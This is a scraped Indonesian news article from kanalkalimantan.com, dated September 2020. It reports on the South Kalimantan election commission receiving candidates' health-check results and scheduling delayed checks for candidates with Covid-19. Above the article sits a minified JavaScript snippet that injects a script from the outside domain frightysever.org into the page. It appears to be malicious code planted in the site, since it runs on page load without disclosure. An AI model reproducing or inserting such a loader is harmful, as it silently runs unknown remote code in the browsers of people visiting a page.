(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – KPU Provinsi Kalimantan Selatan terima hasil pemeriksaan kesehatan bakal pasangan calon (Bapaslon) Pilkada di Kalsel, Jumat (11/9/2020). Hasil pemeriksaan diserahkan oleh RSUD Ulin Banjarmasin kepada KPU Provinsi Kalsel dan KPU kabupaten/kota yang menyelenggarakan Pilkada.
Menurut Komisioner KPU Provinsi Kalsel Divisi Teknis Penyelenggaraan, Dr Hatmiati, tahapan selanjutnya yang akan dilakukan yaitu menggelar rapat pleno, sekaligus rapat persiapan untuk penetapan pasangan calon pada 23 September 2020, dan pengundian nomor urut pasangan calon pada 24 September 2020 mendatang.
Disinggung adanya bakal calon kepala daerah yang terkonfirmasi positif Covid-19, Hatmiati menyebut pihaknya telah melakukan rapat koordinasi dengan RSUD Ulin Banjarmasin, Ikatan Dokter Indonesia (IDI) dan BNN Provinsi Kalsel.
“Untuk pemeriksaan kesehatan lanjutan bagi bakal calon kepala daerah yang terkonfirmasi positif Covid-19 itu, dijadwalkan pada tanggal 13-18 September mendatang.
Kemudian tanggal 21 September itu akan dilakukan penyerahan hasil pemeriksaan kesehatan bagi calon yang tertunda itu,” papar Hatmiati, Jumat (11/9/2020) siang.
Tujuannya agar bapaslon yang tertunda menjalani pemeriksaan kesehatan, dapat mengikuti penetapan pasangan calon yang akan dilangsungkan pada 23 September 2020 mendatang. Dengan catatan, syarat pencalonannya masih terpenuhi.
Bapaslon yang mengalami penundaan pemeriksaan kesehatan, imbuh Hatmiati, ada di 5 kabupaten dan kota di Kalsel yang menyelenggarakan Pilkada Serentak. Yaitu di Kabupaten Banjar, Kota Banjarmasin, Kota Banjarbaru, Kabupaten Tanah Bumbu dan Kabupaten Kotabaru.
“Kita sudah melakukan koordinasi dengan KPU kabupaten/kota dan tim kesehatan tadi,” lugasnya.
Hasil pemeriksaan sendiri tidak untuk diumumkan. Namun, untuk memenuhi syarat pencalonan bapaslon di Pilkada di Kalsel. “Nantinya kita sampaikan, misalnya yang bersangkutan memenuhi syarat, untuk melanjutkan pencalonan,” ucap Hatmiati.
Namun begitu, Hatmiati masih belum membuka hasil pemeriksaan. Karena, hasil pemeriksaan kesehatan sendiri akan diumumkan pada 13-14 September 2020 mendatang.
“Itu akan diberitakan kepada masyarakat. Jadi kami melakukan rapat pleno nanti, pada tanggal 13 September nanti kami akan mengundang bapaslon dan instansi terkait untuk menyampaikan hasilnya,” tandas Hatmiati. (kanalkalimantan.com/fikri)
Reporter: Fikri
Editor : Bie
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Warga Kota Banjarbaru masih dibuat bingung terkait teknis pemungutan suara pada Pilkada… Read More
KANALKALIMANTAN.COM, BAKU - Pemerintah Indonesia melalui Utusan Khusus Presiden Republik Indonesia Hashim Djojohadikusumo berhasil memikat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
This website uses cookies.